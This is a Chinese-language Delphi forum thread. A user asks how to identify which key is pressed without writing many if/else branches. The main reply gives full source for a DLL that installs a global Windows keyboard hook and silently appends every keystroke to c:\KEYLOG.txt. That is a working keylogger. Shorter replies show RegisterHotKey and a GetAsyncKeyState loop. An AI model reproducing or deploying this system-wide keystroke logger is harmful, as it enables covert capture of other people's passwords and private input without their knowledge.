virtual key我想达的目的是:不需if else语句,怎么判断我按下的键的键值,当然我按下哪个键事先是不知道的,前提是我只按一个键,组合键的情况放到以后再考虑不用if else的原因是我不知道键盘上所有键的键值,希望大家不要贴出来virtual key 的值,因为网上有太多的东西,但要么是看不懂的,要么是不全的。
解决方案 »
- DELPHI 中如何让LISTBOX控件显示SQL的数据库中所有的表名和让COMBOBOX控件显示数据库名的问题!求救!
- IdTCPClient1.Writeln('0123456789');会占用多少带宽?
- 工程打开错误
- 如何自动创建adsl拨号连接
- 询问idtcpclient接收idtcpserver信息问题!
- 为什么?!
- 如何快速的清空一张表?
- 哪里有Delphi6的电子书下载,我要学习网络控件啊!!
- 有哪些方法可以阻止对一个文件夹里的某一文件进行删除或修改操作?
- 怎样将文本框里的值转成16进制数(不考虑异常处理)
- 急求:焦点控件问题
- sql server 为什么在企业管理器看到的与在查询分析器看到的不一样
//==============================
//hk.dpr
//==============================
library HK ;
uses
SysUtils, Classes,
hkproc in 'hkproc.pas'; //挂钩函数在文件中的定义 exports //DLL的输出函数
EnableHotKeyHook,
DisableHotKeyHook;
begin
hNextHookProc :=0;
Assign(f,'c:\KEYLOG.txt');//将捕获的键值存入C盘的“code.txt”文件中
Reset(f); //初始化“code.txt”文件
procSaveExit := ExitProc; //DLL释放时解除挂钩
ExitProc := @HotKeyHookExit;
end.//==============================
//hkprc.pas
//==============================
unit hkproc;
interface
uses
Windows, Messages;
var
f: file of char;
c: char;
i: integer;
j: integer;
hNextHookProc: HHook;
procSaveExit: Pointer;
function KeyboardHookHandler(iCode: Integer;
wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall export;
function EnableHotKeyHook: BOOL export;
function DisableHotKeyHook: BOOL; export;
procedure HotKeyHookExit;
implementation
function KeyboardHookHandler(iCode: Integer;
WParam: WPARAM;
lParam: LPARAM): LRESULT stdcall export;
const
_KeyPressMask = $80000000;
begin
Result := 0;if iCode < 0 thenbegin
Result := CallNextHookEx(hNextHookProc, iCode,
wParam, lParam);
Exit;
end;
if ((lParam and _KeyPressMask) = 0) then
begin
i := getkeystate($10); //返回Shift键的状态
j := getkeystate($14); //返回Caps Lock键的状态 if ((j and 1) = 1) then //判断CapsLock是否按下
begin
//判断Shift 是否按下
if ((i and _KeyPressMask) = _KeyPressMask) then
beginif (wparam < 65) then //判断是字母键还是数字键
begin
c := chr(wparam - 16);
end else
begin
c := chr(wparam + 32);
end;
end
else
begin
if (wparam < 65) then
begin
c := chr(wparam);
end
else
begin
c := chr(wparam);
end;
end;
end
else
begin
if ((i and _KeyPressMask) = _KeyPressMask) then
begin
if (wparam < 65) then
begin
c := chr(wparam - 16);
end
else
begin
c := chr(wparam);
end;
end
else
begin
if (wparam < 65) then
begin
c := chr(wparam);
end
else
begin
c := chr(wparam + 32);
end;
end;
end;
seek(f, FileSize(f));
write(f, c); //将捕获的键码存入文件
end;
end;
function EnableHotKeyHook: BOOL; export;
begin
Result := False;
if hNextHookProc <>0 then exit;
hNextHookProc := SetWindowsHookEx(WH_KEYBOARD,
KeyboardHookHandler, Hinstance, 0);
Result := hNextHookProc =0
end;
function DisableHotKeyHook: BOOL; export;
begin
if hNextHookPRoc<> 0 then
begin
UnhookWindowshookEx(hNextHookProc);
hNextHookProc := 0;
Messagebeep(0);
Messagebeep(0);
end;
Result := hNextHookPRoc = 0;
end;
procedure HotKeyHookExit;
begin
if hNextHookProc<>0 then
DisableHotKeyHook;
close(f); //关闭文件并自动解除挂钩
ExitProc := procSaveExit;
end;
end.
//
//{$R *.dfm}
///////////////////////////////////////////////////
function EnableHotKeyHook : BOOL;external 'HK.dll';
//声明HOOK . DLL中的两函数
function DisableHotKeyHook :BOOL;external 'HK.dll';
/////////////////////////////////////////////////////IN FORMCREATE
//
//
HotKeyId := GlobalAddAtom('MyHotKey') - $C000;
RegisterHotKey(Handle, hotkeyid, 0, VK_F8); //LOOK 红色的部分就是,不要什么值不值的,直接写就是,它值多少单元里面早定义了,你直接用就成,这个又好看出是什么按键if ((lParam and _KeyPressMask) = 0) then
begin
i := getkeystate($10); //返回Shift键的状态
j := getkeystate($14); //返回Caps Lock键的状态
var
I:integer;
begin
for I:=255 downto 0 do
begin
if GetAsyncKeyState(I) <> 0 then
begin
label4.Caption:=inttostr(I);
break;
end;
end;
end;